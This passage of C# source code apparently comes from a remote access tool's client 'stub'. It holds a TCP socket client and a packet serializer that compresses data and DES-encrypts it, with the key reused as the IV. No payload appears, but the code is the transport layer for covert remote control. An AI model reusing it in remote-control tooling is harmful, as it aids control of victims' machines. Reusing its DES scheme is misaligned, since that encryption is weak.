12 | public delegate void HANDLE_CONNECT(ClientSocket client, bool bool_0); 13 | 14 | private int totalRecv; 15 | private int totalSend; 16 | private int totalLength; 17 | 18 | private bool getLengthed; 19 | private bool sendStarted; 20 | 21 | private byte[] buffer; 22 | private byte[] bufferLength; 23 | private byte[] recvBuffer; 24 | private byte[] sendBuffer; 25 | 26 | private int bufferSize; 27 | private int limitPacketSize; 28 | 29 | private Queue sendQueue; 30 | 31 | public string Host; 32 | public ushort Port; 33 | public bool connected = false; 34 | public PluginConnect PluginConnect; 35 | 36 | private object obj = new object(); 37 | private Socket socket; 38 | 39 | public HANDLE_CONNECT HandleConnect = null; 40 | public HANDLE_EXCEPTION HandleException = null; 41 | public HANDLE_PACKET HandlePacket = null; 42 | 43 | private SocketAsyncEventArgs SocketReceiveEvent; 44 | private SocketAsyncEventArgs SocketSendEvent; 45 | private SocketAsyncEventArgs SocketConnectEvent; 46 | 47 | public ClientSocket() 48 | { 49 | bufferSize = 65535; 50 | limitPacketSize = 10485760; 51 | } 52 | 53 | private void Init() 54 | { 55 | getLengthed = false; 56 | sendStarted = false; 57 | 58 | buffer = new byte[bufferSize * 2]; 59 | bufferLength = new byte[4]; 60 | recvBuffer = new byte[0]; 61 | sendBuffer = new byte[0]; 62 | sendQueue = new Queue(); 63 | 64 | SocketReceiveEvent = new SocketAsyncEventArgs(); 65 | SocketSendEvent = new SocketAsyncEventArgs(); 66 | SocketConnectEvent = new SocketAsyncEventArgs(); 67 | SocketReceiveEvent.SetBuffer(buffer, 0, bufferSize); 68 | SocketSendEvent.SetBuffer(buffer, bufferSize, bufferSize); 69 | 70 | SocketReceiveEvent.Completed += HandleEvent; 71 | SocketSendEvent.Completed += HandleEvent; 72 | SocketConnectEvent.Completed += HandleEvent; 73 | } 74 | 75 | private void Connect(IPAddress ipa, ushort port) 76 | { 77 | try 78 | { 79 | socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 80 | socket.LingerState = new LingerOption(true, 0); 81 | SocketConnectEvent.RemoteEndPoint = new IPEndPoint(ipa, (int)port); 82 | 83 | if (!socket.ConnectAsync(SocketConnectEvent)) 84 | { 85 | HandleEvent(socket, SocketConnectEvent); 86 | } 87 | } 88 | catch (Exception ex) 89 | { 90 | HandleException?.Invoke(this, ex); 91 | Close(); 92 | } 93 | } 94 | 95 | public void Connect(string host, ushort port) 96 | { 97 | try 98 | { 99 | Host = host; 100 | Port = port; 101 | Init(); 102 | 103 | IPAddress ipa = IPAddress.None; 104 | if (!IPAddress.TryParse(Host, out ipa)) 105 | ipa = Dns.GetHostEntry(Host).AddressList[0]; 106 | 107 | Connect(ipa, Port); 108 | } 109 | catch (Exception ex) 110 | { 111 | HandleException?.Invoke(this, ex); 112 | Close(); 113 | } 114 | } 115 | 116 | private void ParsePacket(byte[] byte_4, int int_8, int int_9) 117 | { 118 | if (getLengthed) 119 | { 120 | int num = Math.Min(recvBuffer.Length - totalRecv, int_9 - int_8); 121 | Buffer.BlockCopy(byte_4, int_8, recvBuffer, totalRecv, num); 122 | totalRecv += num; 123 | if (totalRecv == recvBuffer.Length) 124 | { 125 | HandlePacket?.Invoke(this, recvBuffer); 126 | 127 | getLengthed = false; 128 | Array.Resize(ref recvBuffer, 0); 129 | } 130 | if (num < int_9 - int_8) 131 | { 132 | ParsePacket(byte_4, int_8 + num, int_9); 133 | } 134 | } 135 | else 136 | { 137 | int num2 = Math.Min(int_9 - int_8, 4 - totalLength); 138 | Buffer.BlockCopy(byte_4, int_8, bufferLength, totalLength, num2); 139 | int_8 += num2; 140 | totalLength += num2; 141 | if (totalLength == 4) 142 | { 143 | int num3 = BitConverter.ToInt32(bufferLength, 0); 144 | if (num3 > limitPacketSize) 145 | { 146 | HandleException?.Invoke(this, new Exception("Packet size exceeds MaxPacketSize.")); 147 | Close(); 148 | return; 149 | } 150 | if (num3 <= 0) 151 | { 152 | HandleException?.Invoke(this, new Exception("Packet size must be greater than 0.")); 153 | Close(); 154 | return; 155 | } 156 | totalRecv = 0; 157 | totalLength = 0; 158 | getLengthed = true; 159 | Array.Resize(ref recvBuffer, num3); 160 | if (int_8 < int_9) 161 | { 162 | ParsePacket(byte_4, int_8, int_9); 163 | } 164 | } 165 | } 166 | } 167 | 168 | private void HandleEvent(object sender, SocketAsyncEventArgs e) 169 | { 170 | try 171 | { 172 | if (socket != null) 173 | { 174 | if (socket == sender) 175 | { 176 | if (e.SocketError == SocketError.Success) 177 | { 178 | switch (e.LastOperation) 179 | { 180 | case SocketAsyncOperation.Connect: 181 | { 182 | SocketConnectEvent.Dispose(); 183 | SocketConnectEvent = null; 184 | connected = true; 185 | 186 | HandleConnect?.Invoke(this, true); 187 | 188 | Receive(); 189 | } 190 | break; 191 | case SocketAsyncOperation.Receive: 192 | { 193 | if (e.BytesTransferred == 0) 194 | { 195 | Close(); 196 | } 197 | else 198 | { 199 | ParsePacket(e.Buffer, 0, e.BytesTransferred); 200 | if (!socket.ReceiveAsync(e)) 201 | { 202 | HandleEvent(socket, e); 203 | } 204 | } 205 | } 206 | break; 207 | case SocketAsyncOperation.Send: 208 | { 209 | if (totalSend == 0) 210 | { 211 | totalSend = -4; 212 | } 213 | totalSend += e.BytesTransferred; 214 | bool flag = false; 215 | if (totalSend == sendBuffer.Length) 216 | { 217 | flag = true; 218 | } 219 | lock (obj) 220 | { 221 | if (sendQueue.Count == 0 && flag) 222 | { 223 | sendStarted = false; 224 | Array.Resize(ref sendBuffer, 0); 225 | totalSend = 0; 226 | } 227 | else 228 | { 229 | Send(); 230 | } 231 | } 232 | break; 233 | } 234 | } 235 | } 236 | else 237 | { 238 | HandleException?.Invoke(this, new SocketException((int)e.SocketError)); 239 | Close(); 240 | } 241 | } 242 | } 243 | } 244 | catch (Exception ex) 245 | { 246 | HandleException?.Invoke(this, ex); 247 | Close(); 248 | } 249 | } 250 | 251 | private void Receive() 252 | { 253 | if (!socket.ReceiveAsync(SocketReceiveEvent)) 254 | { 255 | HandleEvent(socket, SocketReceiveEvent); 256 | } 257 | } 258 | 259 | private void Send() 260 | { 261 | if (totalSend == sendBuffer.Length) 262 | { 263 | totalSend = 0; 264 | lock (obj) 265 | { 266 | sendBuffer = sendQueue.Dequeue(); 267 | } 268 | } 269 | int num = 0; 270 | if (totalSend == 0) 271 | { 272 | num = 4; 273 | Buffer.BlockCopy(BitConverter.GetBytes(sendBuffer.Length), 0, buffer, SocketSendEvent.Offset, 4); 274 | } 275 | int num2 = Math.Min(sendBuffer.Length - totalSend, bufferSize - num); 276 | Buffer.BlockCopy(sendBuffer, totalSend, buffer, SocketSendEvent.Offset + num, num2); 277 | SocketSendEvent.SetBuffer(SocketSendEvent.Offset, num2 + num); 278 | if (!socket.SendAsync(SocketSendEvent)) 279 | { 280 | HandleEvent(socket, SocketSendEvent); 281 | } 282 | } 283 | 284 | public void SendBytes(byte[] bytes) 285 | { 286 | try 287 | { 288 | lock (obj) 289 | { 290 | sendQueue.Enqueue(bytes); 291 | if (!sendStarted) 292 | { 293 | sendStarted = true; 294 | Send(); 295 | } 296 | } 297 | } 298 | catch (Exception ex) 299 | { 300 | HandleException?.Invoke(this, ex); 301 | Close(); 302 | } 303 | } 304 | 305 | public void Close() 306 | { 307 | connected = false; 308 | 309 | if (socket != null) 310 | { 311 | socket.Close(); 312 | socket = null; 313 | } 314 | if (SocketReceiveEvent != null) 315 | { 316 | SocketReceiveEvent.Dispose(); 317 | SocketReceiveEvent = null; 318 | } 319 | if (SocketSendEvent != null) 320 | { 321 | SocketSendEvent.Dispose(); 322 | SocketSendEvent = null; 323 | } 324 | if (SocketConnectEvent != null) 325 | { 326 | SocketConnectEvent.Dispose(); 327 | SocketConnectEvent = null; 328 | } 329 | if (sendQueue != null) 330 | { 331 | sendQueue.Clear(); 332 | sendQueue = null; 333 | } 334 | 335 | totalSend = 0; 336 | totalRecv = 0; 337 | recvBuffer = null; 338 | sendBuffer = null; 339 | buffer = null; 340 | bufferLength = null; 341 | getLengthed = false; 342 | sendStarted = false; 343 | } 344 | } 345 | } -------------------------------------------------------------------------------- /stub/Packet.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Drawing; 4 | using System.IO; 5 | using System.IO.Compression; 6 | using System.Security.Cryptography; 7 | 8 | namespace stub 9 | { 10 | struct PacketData 11 | { 12 | public byte Type; 13 | public byte Command; 14 | public Guid Guid; 15 | public object[] Buffer; 16 | } 17 | 18 | class Packet 19 | { 20 | static object obj = new object(); 21 | static BinaryReader br; 22 | static BinaryWriter bw; 23 | static MemoryStream msr; 24 | static MemoryStream msw; 25 | static List data; 26 | static Dictionary type; 27 | static ICryptoTransform encryptor; 28 | static ICryptoTransform decryptor; 29 | 30 | static Packet() 31 | { 32 | msr = new MemoryStream(); 33 | br = new BinaryReader(msr); 34 | 35 | msw = new MemoryStream(); 36 | bw = new BinaryWriter(msw); 37 | 38 | data = new List(); 39 | type = new Dictionary(); 40 | type.Add(typeof(bool), 0); 41 | type.Add(typeof(byte), 1); 42 | type.Add(typeof(byte[]), 2); 43 | type.Add(typeof(char), 3); 44 | type.Add(typeof(char[]), 4); 45 | type.Add(typeof(decimal), 5); 46 | type.Add(typeof(double), 6); 47 | type.Add(typeof(int), 7); 48 | type.Add(typeof(long), 8); 49 | type.Add(typeof(sbyte), 9); 50 | type.Add(typeof(short), 10); 51 | type.Add(typeof(float), 11); 52 | type.Add(typeof(string), 12); 53 | type.Add(typeof(uint), 13); 54 | type.Add(typeof(ulong), 14); 55 | type.Add(typeof(ushort), 15); 56 | type.Add(typeof(DateTime), 16); 57 | type.Add(typeof(string[]), 17); 58 | type.Add(typeof(Guid), 18); 59 | type.Add(typeof(Size), 19); 60 | type.Add(typeof(Rectangle), 20); 61 | type.Add(typeof(Version), 21); 62 | } 63 | 64 | public static void Init(byte[] bytes) 65 | { 66 | DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider(); 67 | descryptoServiceProvider.BlockSize = 64; 68 | descryptoServiceProvider.Key = bytes; 69 | descryptoServiceProvider.IV = bytes; 70 | encryptor = descryptoServiceProvider.CreateEncryptor(); 71 | decryptor = descryptoServiceProvider.CreateDecryptor(); 72 | } 73 | 74 | public static byte[] WriteData(bool bool_0, byte byte_0, byte byte_1, Guid guid_0, object[] object_1) 75 | { 76 | MemoryStream obj = msw; 77 | byte[] result; 78 | lock (obj) 79 | { 80 | bw.Write(bool_0); 81 | bw.Write(byte_0); 82 | bw.Write(byte_1); 83 | if (guid_0 == null) 84 | { 85 | bw.Write(false); 86 | } 87 | else 88 | { 89 | bw.Write(true); 90 | bw.Write(guid_0.ToByteArray()); 91 | } 92 | if (object_1 != null) 93 | { 94 | int num = 0; 95 | int num2 = object_1.Length - 1; 96 | for (int i = num; i <= num2; i++) 97 | { 98 | Type type = object_1[i].GetType(); 99 | if (type.IsEnum) 100 | { 101 | type = Enum.GetUnderlyingType(type); 102 | } 103 | byte value = Packet.type[type]; 104 | bw.Write(value); 105 | switch (value) 106 | { 107 | case 0: 108 | bw.Write((bool)object_1[i]); 109 | break; 110 | case 1: 111 | bw.Write((byte)object_1[i]); 112 | break; 113 | case 2: 114 | bw.Write(((byte[])object_1[i]).Length); 115 | bw.Write((byte[])object_1[i]); 116 | break; 117 | case 3: 118 | bw.Write((char)object_1[i]); 119 | break; 120 | case 4: 121 | bw.Write(((char[])object_1[i]).ToString()); 122 | break; 123 | case 5: 124 | bw.Write((decimal)object_1[i]); 125 | break; 126 | case 6: 127 | bw.Write((double)object_1[i]); 128 | break; 129 | case 7: 130 | bw.Write((int)object_1[i]); 131 | break; 132 | case 8: 133 | bw.Write((long)object_1[i]); 134 | break; 135 | case 9: 136 | bw.Write((sbyte)object_1[i]); 137 | break; 138 | case 10: 139 | bw.Write((short)object_1[i]); 140 | break; 141 | case 11: 142 | bw.Write((float)object_1[i]); 143 | break; 144 | case 12: 145 | bw.Write((string)object_1[i]); 146 | break; 147 | case 13: 148 | bw.Write((uint)object_1[i]); 149 | break; 150 | case 14: 151 | bw.Write((ulong)object_1[i]); 152 | break; 153 | case 15: 154 | bw.Write((ushort)object_1[i]); 155 | break; 156 | case 16: 157 | { 158 | DateTime dateTime = (DateTime)object_1[i]; 159 | bw.Write(dateTime.ToBinary()); 160 | break; 161 | } 162 | case 17: 163 | bw.Write(((string[])object_1[i]).Length); 164 | foreach (string value2 in (string[])object_1[i]) 165 | { 166 | bw.Write(value2); 167 | } 168 | break; 169 | case 18: 170 | { 171 | BinaryWriter binaryWriter2 = bw; 172 | Guid guid = (Guid)object_1[i]; 173 | binaryWriter2.Write(guid.ToByteArray()); 174 | break; 175 | } 176 | case 19: 177 | { 178 | Size size = (Size)object_1[i]; 179 | bw.Write(size.Width); 180 | bw.Write(size.Height); 181 | break; 182 | } 183 | case 20: 184 | { 185 | Rectangle rectangle = (Rectangle)object_1[i]; 186 | bw.Write(rectangle.X); 187 | bw.Write(rectangle.Y); 188 | bw.Write(rectangle.Width); 189 | bw.Write(rectangle.Height); 190 | break; 191 | } 192 | case 21: 193 | bw.Write(((Version)object_1[i]).ToString()); 194 | break; 195 | } 196 | } 197 | } 198 | byte[] array2 = msw.ToArray(); 199 | msw.SetLength(0L); 200 | if (bool_0 && array2.Length >= 860) 201 | { 202 | bw.Write(bool_0); 203 | bw.Write(array2.Length - 1); 204 | DeflateStream deflateStream = new DeflateStream(msw, CompressionMode.Compress, true); 205 | deflateStream.Write(array2, 1, array2.Length - 1); 206 | deflateStream.Close(); 207 | array2 = msw.ToArray(); 208 | msw.SetLength(0L); 209 | } 210 | else 211 | { 212 | array2[0] = 0; 213 | } 214 | byte[] buffer = encryptor.TransformFinalBlock(array2, 0, array2.Length); 215 | bw.Write(buffer); 216 | array2 = msw.ToArray(); 217 | msw.SetLength(0L); 218 | result = array2; 219 | } 220 | return result; 221 | } 222 | 223 | public static PacketData ReadData(byte[] buf) 224 | { 225 | PacketData result = new PacketData(); 226 | lock (obj) 227 | { 228 | buf = decryptor.TransformFinalBlock(buf, 0, buf.Length); 229 | msr = new MemoryStream(buf); 230 | br = new BinaryReader(msr); 231 | if (br.ReadBoolean()) 232 | { 233 | int num = br.ReadInt32(); 234 | DeflateStream stream = new DeflateStream(msr, CompressionMode.Decompress, false); 235 | byte[] array = new byte[num]; 236 | stream.Read(array, 0, array.Length); 237 | stream.Close(); 238 | msr = new MemoryStream(array); 239 | br = new BinaryReader(msr); 240 | } 241 | result.Type = br.ReadByte(); 242 | result.Command = br.ReadByte(); 243 | if (br.ReadBoolean()) 244 | { 245 | result.Guid = new Guid(br.ReadBytes(16)); 246 | } 247 | while (msr.Position != msr.Length) 248 | { 249 | switch (br.ReadByte()) 250 | { 251 | case 0: 252 | data.Add(br.ReadBoolean()); 253 | break; 254 | case 1: 255 | data.Add(br.ReadByte()); 256 | break; 257 | case 2: 258 | data.Add(br.ReadBytes(br.ReadInt32())); 259 | break; 260 | case 3: 261 | data.Add(br.ReadChar()); 262 | break; 263 | case 4: 264 | data.Add(br.ReadString().ToCharArray()); 265 | break; 266 | case 5: 267 | data.Add(br.ReadDecimal()); 268 | break; 269 | case 6: 270 | data.Add(br.ReadDouble()); 271 | break; 272 | case 7: 273 | data.Add(br.ReadInt32()); 274 | break; 275 | case 8: 276 | data.Add(br.ReadInt64()); 277 | break; 278 | case 9: 279 | data.Add(br.ReadSByte()); 280 | break; 281 | case 10: 282 | data.Add(br.ReadInt16()); 283 | break; 284 | case 11: 285 | data.Add(br.ReadSingle()); 286 | break; 287 | case 12: 288 | data.Add(br.ReadString()); 289 | break; 290 | case 13: 291 | data.Add(br.ReadUInt32()); 292 | break; 293 | case 14: 294 | data.Add(br.ReadUInt64()); 295 | break; 296 | case 15: 297 | data.Add(br.ReadUInt16()); 298 | break; 299 | case 16: 300 | data.Add(DateTime.FromBinary(br.ReadInt64())); 301 | break; 302 | case 17: 303 | { 304 | string[] array2 = new string[br.ReadInt32() - 1 + 1]; 305 | int num2 = 0; 306 | int num3 = array2.Length - 1; 307 | for (int i = num2; i <= num3; i++) 308 | { 309 | array2[i] = br.ReadString(); 310 | } 311 | data.Add(array2); 312 | break; 313 | } 314 | case 18: 315 | { 316 | Guid guid = new Guid(br.ReadBytes(16)); 317 | data.Add(guid); 318 | break; 319 | } 320 | case 19: 321 | { 322 | Size size = new Size(br.ReadInt32(), br.ReadInt32()); 323 | data.Add(size); 324 | break; 325 | } 326 | case 20: 327 | { 328 | Rectangle rectangle = new Rectangle(br.ReadInt32(), br.ReadInt32(), br.ReadInt32(), br.ReadInt32()); 329 | data.Add(rectangle); 330 | break; 331 | } 332 | case 21: 333 | data.Add(new Version(br.ReadString())); 334 | break; 335 | } 336 | } 337 | result.Buffer = data.ToArray(); 338 | data.Clear(); 339 | br.Close(); 340 | } 341 | return result; 342 | } 343 | } 344 | } --------------------------------------------------------------------------------